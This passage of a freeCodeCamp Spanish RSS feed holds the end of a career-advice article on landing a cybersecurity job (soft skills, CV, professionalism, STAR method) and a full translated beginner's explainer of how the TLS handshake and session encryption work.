id="fundamentos-tecnol-gicos">Fundamentos tecnológicos</h3><p>Comprender cómo funciona un sistema es fundamental para poder protegerlo de manera eficiente. Según el puesto que estás solicitando, <strong>asegúrate de poder comunicar sobre tecnologías relevantes.</strong> De forma que proveas información sobre los ataques y las defensas relevantes para la tecnología.</p><p>Por ejemplo, si voy a contratar a un ingeniero de seguridad de redes, espero que el candidato explique qué es el DNS, cómo funciona a un alto nivel y qué protocolo usa, etc.</p><h2 id="6-desarrolla-tus-habilidades-blandas"><strong>6. Desarrolla tus habilidades blandas</strong></h2><h3 id="habilidades-de-comunicaci-n">Habilidades de Comunicación</h3><p>Comunicarse bien es una de las habilidades más importantes que cualquier profesional de ciberseguridad puede tener. La mayoría de las organizaciones tienen un tamaño de equipo limitado para la seguridad cibernética y, como tal,<strong> </strong>se espera que hables con el personal de la gerencia que no tiene tu nivel de experiencia técnica.</p><p>Un elemento que busco en cualquier currículum es si el candidato ha enumerado compromisos para hablar en público, como presentar un tema en una conferencia. Espero que cualquier miembro del equipo pueda hablar con los empleados y desglosar temas complejos de ciberseguridad en información procesable y fácil de digerir.</p><p>También suelo buscar acerca de si quien aplica ha enumerado compromisos para hablar en público, como presentar un tema en una conferencia. Espero que cualquier miembro del equipo pueda hablar con los empleados y desglosar temas complejos de ciberseguridad en información procesable y fácil de digerir.</p><h3 id="habilidades-de-liderazgo"><strong>Habilidades de Liderazgo</strong></h3><p>Estas habilidades son realmente difíciles de poner por escrito. Sin embargo, <strong>espero que cualquier candidato sea (eventualmente) capaz de liderar iniciativas y proyectos de ciberseguridad.</strong><br>Es importarte venir a la entrevista con preparación para discutir cualquier proyecto, ya sea de su carrera o un proyecto o actividad paralela (por ejemplo, entrenamiento, tutoría, etc.), en el que tuvo que tomar la iniciativa y lo que aprendió de la experiencia.</p><h3 id="habilidades-de-organizaci-n"><strong>Habilidades de organización</strong></h3><p>Ser una persona organizada es una habilidad clave que debe poseer cualquier candidato de éxito. No importa qué tan buenas sean sus habilidades técnicas, si tiene dificultades para cumplir con los plazos o para realizar múltiples tareas (la ciberseguridad funciona a un ritmo rápido: es muy difícil tener tiempo ininterrumpido para concentrarse en una tarea); entonces será difícil tener éxito. Sobre todo en un equipo técnico</p><h2 id="7-demuestra-experiencia-pr-ctica"><strong>7. Demuestra experiencia práctica</strong></h2><p>No necesitas tener experiencia profesional formal para solicitar un trabajo de ciberseguridad. Sin embargo, puedes obtener una ventaja sobre la competencia al <strong>demostrar proyectos y habilidades que has aprendido que son relevantes para la ciberseguridad.</strong></p><p>Si tienes un enlace de GitHub a un proyecto en el que trabajaste, o si decidiste probar la creación de un clúster de Kubernets en varias Raspberry Pi, ¡agrégalo a su currículum!</p><h2 id="8-mant-n-tu-resumen-relevante"><strong>8. Mantén tu resumen relevante</strong></h2><p>Con demasiada frecuencia recibo CVs que ocupan mucho espacio y enumeran cursos universitarios completos relacionados con la ciberseguridad cuando el candidato ha estado en el campo durante más de 5 años.</p><p><br>Asegúrate que tu currículum solo incluya información relevante. Pese a ello, también es posible la experiencia relevante en un área distinta o afín a la ciberseguridad, ya que siempre es agradable ver la diversidad de experiencias. </p><p>Las clases universitarias y un GPA elevado, realmente no son relevantes a menos que estés solicitando tu primer trabajo.<br>Por otra parte, no soy de la opinión de que un currículum debe, pase lo que pase, ser de una sola página, el contenido no debe sentirse flojo. Rara vez veo la necesidad de que un currículum tenga más de una página,<strong> </strong>a menos que haya pasado años en el campo en varios roles.</p><h2 id="9-s-profesional"><strong>9. Sé profesional</strong></h2><p>La ciberseguridad en general tiende a ser una industria relativamente informal (más aún en la era de las entrevistas digitales). Sin embargo, las primeras impresiones son extremadamente importantes, así que afianza el hecho de vestirte y actuar profesionalmente durante su entrevista (¡Y también si te contratan!).</p><p>He visto entrevistas a candidatos con camisetas manchadas, camisetas con gráficos inapropiados y otros atuendos poco profesionales. Esta es tu oportunidad de causar una buena impresión, y aunque no diría que necesitas vestirse con traje y corbata, como mínimo debes vestirte con ropa informal de negocios, similar a la que usarías si tuvieras que venir a una oficina.</p><p>Además de lo que vistes, la forma en que hablas es extremadamente importante. Aun si hemos tenido malos gerentes en el pasado o trabajado para compañías terribles;<strong> </strong>que no pase en tu entrevista el hablar mal de empleadores o empresas anteriores.<strong> </strong>Si te preguntan por qué te vas, o qué problemas tuviste con un trabajo, es mejor simplemente decir que el trabajo "no encajaba bien" y dejarlo así. No querrás que el entrevistador asuma que así es como hablarías de ellos.</p><p>La forma en que se comporta un candidato y qué tan diplomático es extremadamente importante. Dado lo pequeños que son muchos equipos de ciberseguridad, puedes encontrarte hablando con el gerente, y el entrevistador estará atento a cómo cree que te comportarías en esas situaciones.<br>Por último, y esto debería ser evidente, es siempre ser cortés. Ya sea con el reclutador de recursos humanos, el reclutador externo, el entrevistador o la recepcionista, siempre sé cortés. Las personas no quieren contratar y trabajar con alguien que consideran grosero o irrespetuoso.</p><h2 id="10-el-m-todo-star">10. El método STAR </h2><p>La ciberseguridad es un campo de alto riesgo y ritmo acelerado donde el pensamiento crítico y analítico, la gestión del ego (el tuyo y el de los demás), la resolución de conflictos y el liderazgo juegan un papel clave en el éxito del equipo.</p><p>Los entrevistadores suelen buscar a alguien que tenga una mentalidad de hacker, alguien que sea innovador y pueda pensar críticamente para resolver problemas.</p><p>Ven preparado para discutir situaciones en las que ha tenido que lidiar con prioridades en conflicto, resolver problemas complejos, explicar información técnica a una audiencia no técnica e incluso discutir áreas donde ves oportunidades de crecimiento en tu desempeño.</p><p>Si bien no entraré en varios escenarios en esta publicación, un resultado clave que busco es si el candidato comprende cómo enmarcar el riesgo de ciberseguridad.</p><p>Hay momentos en los que es necesario tomar riesgos, y; es nuestro trabajo proporcionar la información adecuada para que las decisiones que se tomen sean informadas. Lo bien que un candidato puede analizar un problema vale más que la experiencia escrita en el currículum.</p><p>Especialmente al responder a las preguntas de la entrevista de comportamiento, el método STAR proporciona un buen marco de cómo proporcionar respuestas:</p><ul><li>Describe la situación en la que te encontrabas.</li><li>¿Qué tarea estaba realizando y cuál era el objetivo deseado?</li><li>Describe la(s) acción(es) que tomaste para abordar la situación. Sé específico y concéntrate en tus contribuciones.</li><li>¿Cuál fue el resultado de sus acciones?</li></ul><p>Los trabajos disponibles en ciberseguridad son muchos y cubren numerosas especializaciones que van desde roles técnicos y prácticos hasta roles de Gobierno y diseño. Utiliza estos consejos para conseguir el trabajo perfecto y... ¡Te doy la bienvenida a la Ciberseguridad!</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ ¿Qué es TLS? Encriptación de Seguridad de Capa de Transporte Explicado en un Español Simple ]]>
                </title>
                <description>
                    <![CDATA[ Si quieres tener una conversación confidencial con alguien que conoces, podrías reunirte con él o ella en persona y encontrar un lugar privado para hablar. Pero si quieres enviar datos de forma confidencial por internet, quizás debas cubrir estas consideraciones adicionales. TLS o Seguridad de Capa de Transporte, se refiere ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/que-is-tls-explicado-en-espanol-simple/</link>
                <guid isPermaLink="false">5fd954e38c7cd154bb97718b</guid>
                
                    <category>
                        <![CDATA[ Ciberseguridad ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Hugo Avila ]]>
                </dc:creator>
                <pubDate>Tue, 22 Dec 2020 13:00:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2020/12/13466286-1BED-4E1F-A3BE-92A971BBF635.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Si quieres tener una conversación confidencial con alguien que conoces, podrías reunirte con él o ella en persona y encontrar un lugar privado para hablar.</p><p>Pero si quieres enviar datos de forma confidencial por internet, quizás debas cubrir estas consideraciones adicionales.</p><p>TLS o Seguridad de Capa de Transporte, se refiere a un protocolo. "Protocolo" es una palabra que significa, "la forma en la que acordamos hacer las cosas por aquí", más o menos.</p><p>La parte de "capa de transporte" simplemente se refiere a la comunicación host-to-host, como la forma en que interactúan un servidor y un cliente, en la <a href="https://es.wikipedia.org/wiki/Familia_de_protocolos_de_internet">familia de protocolos de Internet.</a></p><p>El protocolo TLS intenta resolver estos problemas fundamentales:</p><ul><li>¿Cómo aseguro que tú eres quien dices ser?</li><li>¿Cómo aseguro que este mensaje que viene de ti, no ha sido manipulado?</li><li>¿Cómo podemos comunicarnos de forma segura?</li></ul><p>A continuación, veremos como funciona TLS, explicado en español sencillo. Como en todas las interacciones exitosas, todo inicia con un "handshake".</p><h2 id="conoci-ndote">Conociéndote</h2><p>El proceso básico de <a href="https://es.wikipedia.org/wiki/Seguridad_de_la_capa_de_transporte#Handshake_TLS">TLS handshake</a> involucra un cliente, como puede ser tu navegador de internet, y un servidor, como uno de hospedaje web que almacena una página, estableciendo algunas reglas para la comunicación.</p><p>Todo empieza cuando el cliente dice hola. Literalmente. Este mensaje es llamado <em>ClientHello.</em></p><p>El ClientHello le dice al servidor cuales versiones del protocolo TLS y suite de cifrado soporta.</p><p>Aunque "suite de cifrado" suena como una mejora en un hotel de lujo, en realidad se refiera a un set de algoritmos que pueden ser utilizados para asegurar las comunicaciones.</p><p>El servidor, en un mensaje llamado <em>ServerHello</em>, elije cuál de las versiones de protocolo y suite de cifrado de las ofrecidas por el cliente usará. Algunos datos adicionales podrían ser enviados, por ejemplo, el <em>ID de la sesión</em>, si es que el servidor soporta restablecimiento de "handshake" anterior.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/espanol/news/content/images/2020/12/imagen-14.png" class="kg-image" alt="imagen-14" srcset="https://www.freecodecamp.org/espanol/news/content/images/size/w600/2020/12/imagen-14.png 600w, https://www.freecodecamp.org/espanol/news/content/images/size/w1000/2020/12/imagen-14.png 1000w, https://www.freecodecamp.org/espanol/news/content/images/2020/12/imagen-14.png 1250w" sizes="(min-width: 720px) 720px" width="1250" height="1250" loading="lazy"><figcaption>Caricatura de una ventana de navegador saludando, por <a href="https://www.freecodecamp.org/news/author/victoria/">Victoria Drake</a></figcaption></figure><p>Dependiendo de la suite de cifrado elegido, el cliente y el servidor intercambian información adicional para establecer un secreto compartido.</p><p>Frecuentemente, este proceso se mueve del intercambio de criptografía asimétrica a criptografía simétrica, con diferentes niveles de complejidad. Exploremos estos conceptos a nivel general y verás porque importan para TLS.</p><h2 id="inicio-asim-trico">Inicio Asimétrico</h2><p>Esto es asimetría:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/espanol/news/content/images/2020/12/imagen-15.png" class="kg-image" alt="imagen-15" srcset="https://www.freecodecamp.org/espanol/news/content/images/size/w600/2020/12/imagen-15.png 600w, https://www.freecodecamp.org/espanol/news/content/images/size/w1000/2020/12/imagen-15.png 1000w, https://www.freecodecamp.org/espanol/news/content/images/size/w1600/2020/12/imagen-15.png 1600w, https://www.freecodecamp.org/espanol/news/content/images/2020/12/imagen-15.png 2000w" sizes="(min-width: 720px) 720px" width="2000" height="1333" loading="lazy"><figcaption>huevo pequeño, huevo grande.</figcaption></figure><p>La criptografía asimétrica es un método por el cual puedes realizar autentificación. Cuando te autentificas, tu respondes a la pregunta fundamental, "¿Cómo sé que tu eres quien dices ser?"</p><p>En un sistema criptográfico asimétrico, utilizas un par de llaves para lograr la autentificación. Estas llaves son asimétricas. Una es tu llave pública, la cual, como pudiste imaginar, es pública. La otra es tu llave privada, la cual - bueno, tu sabes.</p><p>Típicamente, durante el "handshake" de TLS, el servidor proveerá su llave pública por medio de su certificado digital, algunas veces llamado <em>certificado SSL</em>, aunque en realidad TLS reemplaza el protocolo obsoleto Secure Sockets Layer (SSL).</p><p>Los certificados digitales son proporcionados y verificados por un tercero confiable, conocidos como <a href="https://en.wikipedia.org/wiki/Certificate_authority">Certificate Authorities (CA)</a>, los cuales requerirían otro artículo completo.</p><p>Mientras cualquiera puede encriptar un mensaje utilizando tu llave pública, solo tu llave privada puede descifrar ese mensaje.</p><p>La seguridad de la criptografía asimétrica se basa solo en que tu llave privada se mantiene privada, por eso la asimetría.</p><p>También es asimétrica en el sentido que es solo viaje de un solo sentido. Alicia te puede enviar mensajes encriptados con tu llave pública, pero ninguna de tus llaves te servirá para enviar un menaje encriptado a Alicia.</p><h2 id="secretos-de-asimetr-a">Secretos de Asimetría</h2><p>La criptografía asimétrica requiere mas recursos computacionales que la criptografía simétrica.</p><p>Por ello cuando el TLS handshake inicia con un intercambio asimétrico, el cliente y el servidor usará esta comunicación inicial para establecer un secreto compartido, algunas veces llamada <em>llave de sesión</em>. Esta llave es simétrica, significa que ambos extremos usan el mismo secreto compartido y deben mantener este secreto para que la encriptación sea segura.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/espanol/news/content/images/2020/12/imagen-16.png" class="kg-image" alt="imagen-16" srcset="https://www.freecodecamp.org/espanol/news/content/images/size/w600/2020/12/imagen-16.png 600w, https://www.freecodecamp.org/espanol/news/content/images/size/w1000/2020/12/imagen-16.png 1000w, https://www.freecodecamp.org/espanol/news/content/images/size/w1600/2020/12/imagen-16.png 1600w, https://www.freecodecamp.org/espanol/news/content/images/2020/12/imagen-16.png 2000w" sizes="(min-width: 720px) 720px" width="2000" height="1000" loading="lazy"><figcaption>Una persona sabia dice: comparte tu llave pública, pero mantén privadas las llaves compartidas.</figcaption></figure><p>‌Utilizando inicialmente la comunicación asimétrica para establecer la llave de sesión, el cliente y el servidor pueden confiar en que la llave de sesión sea conocida solo por ellos dos. Para el resto de la sesión, ellos utilizan esta misma llave compartida para encriptar y descifrar los menajes, lo cual agiliza la comunicación.</p><h2 id="sesiones-seguras">Sesiones seguras</h2><p>El TLS handshake &nbsp;puede utilizar criptografía asimétrica u otra suite de cifrado para establecer la llave de sesión compartida. Una vez que esta llave de sesión es establecida, la parte del "handshake" esta completada y la sesión inicia.</p><p>La <em>sesión </em>es la duración de la comunicación encriptada entre el cliente y el servidor. Durante este tiempo, los mensajes son encriptados y descifrados utilizando la llave de sesión que solo el cliente y el servidor tienen. Esto asegura que la comunicación es segura.</p><p>La integridad de la información intercambiada es mantenida utilizando una comprobación (checksum). Los mensajes intercambiados utilizando la llave de sesión llevan adjunto un <a href="https://es.wikipedia.org/wiki/C%C3%B3digo_de_autenticaci%C3%B3n_de_mensaje">código de autentificación de mensaje (MAC)</a>. El MAC es generado y verificado utilizando la llave de sesión.</p><p>Debido a esto, cualquiera de los dos puede detectar si el mensaje ha sido cambiado antes de recibirlo. Esto resuelve la pregunta fundamental, "¿Cómo aseguro que el mensaje que enviaste no ha sido manipulado?"</p><p>Las sesiones pueden terminar deliberadamente, podría ser debido a una desconexión de red, o porque el cliente no interactúa por mucho tiempo. Una vez que termina la sesión, para continuar la comunicación, ésta deberá ser reestablecida por medio de un nuevo "handshake" o por medio de la sesión previamente establecida llamada<em> ID de sesión</em>, que permite continuar la sesión anterior.</p><h2 id="tls-y-tu">TLS y tu</h2><p>Resumiendo:</p><ul><li>TLS es un protocolo criptográfico para proveer comunicación segura.</li><li>El proceso de crear una conexión segura inicia con un "handshake".</li><li>Después del "handshake", se establece la llave de sesión compartida, que será utilizada para asegurar los mensajes y proveer integridad a los mismos.</li><li>Las sesiones son temporales, y una vez terminadas, se deben reestablecer o resumir.</li></ul><p>Este es solo solo un desnatado a nivel de superficie, de un muy complejo sistema criptográfico que ayuda a mantener las comunicaciones seguras. Para adentrarse más en este tópico, recomiendo explorar las suites de cifrado y los <a href="https://en.wikipedia.org/wiki/Cipher_suite#Supported_algorithms">algoritmos soportados</a>.</p><p>El protocolo TLS sirve para un propócito muy importante en tu vida diaria. Ayuda a asegurar los correos de tu familia, tus actividades bancarias en línea y la conexión por la cual estas leyendo este artículo.</p><p>El protocolo de comunicación HTTPS es encriptado utilizando TLS. Cada vez que vez ese pequeño candado en la barra de dirección de tu navegador, estas experimentando de primera mano todos los conceptos que acabas de leer en este artículo.</p><p>Entonces ahora tú sabes la respuesta a la última pregunta: "¿Cómo puedo comunicarme de forma segura?"</p><p>Traducido del artículo de <a href="https://www.freecodecamp.org/news/author/victoria/"><strong>Victoria Drake</strong></a> <strong>- </strong><a href="https://www.freecodecamp.org/news/what-is-tls-transport-layer-security-encryption-explained-in-plain-english/"><strong>What is TLS? Transport Layer Security Encryption Explained in Plain English</strong></a></p> ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
